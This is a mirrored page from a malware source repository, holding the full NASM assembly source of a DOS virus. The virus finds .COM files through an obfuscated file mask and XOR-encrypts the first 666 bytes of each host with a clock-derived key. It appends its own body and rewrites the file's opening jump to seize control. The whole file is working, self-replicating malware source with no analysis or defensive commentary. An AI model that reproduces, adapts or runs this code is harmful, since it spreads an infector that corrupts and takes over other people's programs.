mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
190 lines
2.4 KiB
NASM
190 lines
2.4 KiB
NASM
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;This virus encrypts the first 666 bytes of the host
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;Its based off of the small virus
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CSEG SEGMENT
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ASSUME CS:CSEG, DS:CSEG
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ORG 100h
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JUMPS
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Virus_Length equ End_Virus-Begin_Virus
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Start:
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jmp Begin_Virus
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db 700 dup (90h)
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Begin_Virus:
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call Delta
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Delta:
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pop bp
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sub bp,offset Delta
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push si
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push si
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call Crypt
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mov ah,1ah
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lea dx,[bp+DTA]
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int 21h
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xor word ptr [bp+OldBytes],0deadh
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xor word ptr [bp+OldBytes+2],0a55h
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pop di
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lea si,[bp+OldBytes]
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movsw
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movsw
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mov ah,4eh
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mov cx,7h
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lea dx,[bp+ComMask]
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Find_Next:
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call Dec_
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int 21h
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call Inc_
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jc Return
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cmp word ptr [bp+DTA+1ah],1024
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jb Find_Next_
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mov ax,3d02h
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lea dx,[bp+DTA+1eh]
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int 21h
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xchg ax,bx
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mov ah,3fh
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mov cx,4
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lea dx,[bp+OldBytes]
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int 21h
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cmp byte ptr [bp+OldBytes],'M'
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je Close_Find_Next
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xor word ptr [bp+OldBytes],0deadh
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xor word ptr [bp+OldBytes+2],0a55h
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call Move_Begin
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mov ah,3fh
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mov cx,666
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lea dx,[bp+HostBuffr]
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push dx
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int 21h
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mov ah,2ch
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int 21h
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mov word ptr [bp+Key],dx
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pop si
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call Crypt
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call Move_Begin
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mov ah,40h
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mov cx,666
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lea dx,[bp+HostBuffr]
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int 21h
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mov ax,4202h
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call Move_Fp
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sub ax,4
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mov word ptr [bp+NewBytes+2],ax
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mov ah,40h
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mov cx,Virus_Length
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lea dx,[bp+Begin_Virus]
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int 21h
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mov ax,4200h
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call Move_Begin
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mov ah,40h
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mov cx,4
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lea dx,[bp+NewBytes]
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int 21h
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Close_Find_Next:
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mov ah,3eh
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int 21h
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Find_Next_:
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mov ah,4fh
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jmp Find_Next
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Dec_:
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mov cx,5
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lea si,[bp+ComMask]
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mov di,si
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Dec_Loop:
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lodsb
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dec al
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stosb
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loop Dec_Loop
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xor al,al
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stosb
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ret
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Inc_:
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mov cx,5
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lea si,[bp+ComMask]
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mov di,si
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Inc_Loop:
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lodsb
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inc al
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stosb
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loop Inc_Loop
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mov al,"6"
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stosb
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ret
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;ComMask db "*.COM",0
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ComMask db "+/DPN6"
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NewBytes db "M",0e9h,0,0
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;OldBytes db 0cdh,20h,0,0
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OldBytes dw 0fe60h
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dw 0a55h
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Move_Begin:
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mov ax,4200h
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Move_Fp:
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xor cx,cx
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cwd
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int 21h
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ret
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Return:
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mov ah,1ah
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mov dx,80h
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int 21h
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ret
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Crypt:
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push bx
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mov cl,4
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mov dx,word ptr [bp+Key]
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ror dx,cl
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mov cx,333
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mov di,si
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Xor_Loop:
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lodsw
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xor ax,dx
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stosw
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loop Xor_Loop
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pop bx
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ret
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Key dw 0000h
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End_Virus:
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DTA db 42 dup (?)
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HostBuffr db 666 dup (?)
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CSEG ENDS
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END START
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